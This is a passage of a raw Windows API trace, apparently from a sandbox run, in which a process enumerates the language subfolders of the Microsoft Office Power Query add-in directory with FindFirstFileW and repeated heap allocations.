0x3428fe8 [0223.512] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0223.513] GetProcessHeap () returned 0xc10000 [0223.513] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0223.513] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0223.516] GetProcessHeap () returned 0xc10000 [0223.516] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0223.520] GetProcessHeap () returned 0xc10000 [0223.520] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.521] GetProcessHeap () returned 0xc10000 [0223.521] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.521] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0223.524] GetProcessHeap () returned 0xc10000 [0223.524] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.524] GetProcessHeap () returned 0xc10000 [0223.524] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.524] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0223.527] GetProcessHeap () returned 0xc10000 [0223.527] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.527] GetProcessHeap () returned 0xc10000 [0223.527] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.527] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0223.531] GetProcessHeap () returned 0xc10000 [0223.531] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.531] GetProcessHeap () returned 0xc10000 [0223.531] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.531] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0223.537] GetProcessHeap () returned 0xc10000 [0223.537] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.537] GetProcessHeap () returned 0xc10000 [0223.537] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.537] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0223.541] GetProcessHeap () returned 0xc10000 [0223.541] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.541] GetProcessHeap () returned 0xc10000 [0223.541] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0223.547] GetProcessHeap () returned 0xc10000 [0223.547] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.547] GetProcessHeap () returned 0xc10000 [0223.547] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0223.689] GetProcessHeap () returned 0xc10000 [0223.689] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.689] GetProcessHeap () returned 0xc10000 [0223.689] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0223.693] GetProcessHeap () returned 0xc10000 [0223.693] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.693] GetProcessHeap () returned 0xc10000 [0223.693] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.693] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0223.701] GetProcessHeap () returned 0xc10000 [0223.701] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.701] GetProcessHeap () returned 0xc10000 [0223.701] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.701] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0223.705] GetProcessHeap () returned 0xc10000 [0223.705] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.705] GetProcessHeap () returned 0xc10000 [0223.705] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.705] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0223.709] GetProcessHeap () returned 0xc10000 [0223.709] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.709] GetProcessHeap () returned 0xc10000 [0223.709] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.709] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0223.712] GetProcessHeap () returned 0xc10000 [0223.712] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.712] GetProcessHeap () returned 0xc10000 [0223.712] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.713] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0223.716] GetProcessHeap () returned 0xc10000 [0223.716] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.716] GetProcessHeap () returned 0xc10000 [0223.716] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0223.719] GetProcessHeap () returned 0xc10000 [0223.719] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.719] GetProcessHeap () returned 0xc10000 [0223.719] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.719] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0223.722] GetProcessHeap () returned 0xc10000 [0223.722] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.722] GetProcessHeap () returned 0xc10000 [0223.722] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.723] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0223.726] GetProcessHeap () returned 0xc10000 [0223.726] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.726] GetProcessHeap () returned 0xc10000 [0223.726] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.726] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0223.898] GetProcessHeap () returned 0xc10000 [0223.898] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.899] GetProcessHeap () returned 0xc10000 [0223.899] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.899] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0223.960] GetProcessHeap () returned 0xc10000 [0223.960] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.960] GetProcessHeap () returned 0xc10000 [0223.960] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.960] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0223.997] GetProcessHeap () returned 0xc10000 [0223.997] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0223.997] GetProcessHeap () returned 0xc10000 [0223.997] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0223.997] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0224.003] GetProcessHeap () returned 0xc10000 [0224.003] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.003] GetProcessHeap () returned 0xc10000 [0224.003] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.003] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0224.010] GetProcessHeap () returned 0xc10000 [0224.010] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.010] GetProcessHeap () returned 0xc10000 [0224.010] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.010] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0224.015] GetProcessHeap () returned 0xc10000 [0224.015] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.015] GetProcessHeap () returned 0xc10000 [0224.015] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.016] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0224.020] GetProcessHeap () returned 0xc10000 [0224.020] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.021] GetProcessHeap () returned 0xc10000 [0224.021] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.021] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0224.025] GetProcessHeap () returned 0xc10000 [0224.025] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.025] GetProcessHeap () returned 0xc10000 [0224.025] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.025] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0224.029] GetProcessHeap () returned 0xc10000 [0224.029] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, 